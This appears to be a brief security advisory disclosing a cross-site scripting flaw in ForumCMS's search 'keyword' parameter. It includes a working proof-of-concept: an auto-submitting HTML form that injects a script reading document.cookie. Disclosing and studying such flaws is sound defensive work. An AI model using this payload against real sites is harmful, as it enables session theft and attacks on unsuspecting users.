Cross-site Scripting (XSS) Vulnerability in ForumCMS

High-Tech Bridge SA Security Research Lab has discovered vulnerability in ForumCMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in ForumCMS
The vulnerability exists due to input sanitation error in the "keyword" parameter in search/results. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action=http://host/cms/ForumCMS/page/search/results method=POST name=main>
<input type=hidden name=keyword value="<script>alert(document.cookie)</script>" >
</form>
<script>
document.main.submit();
</script>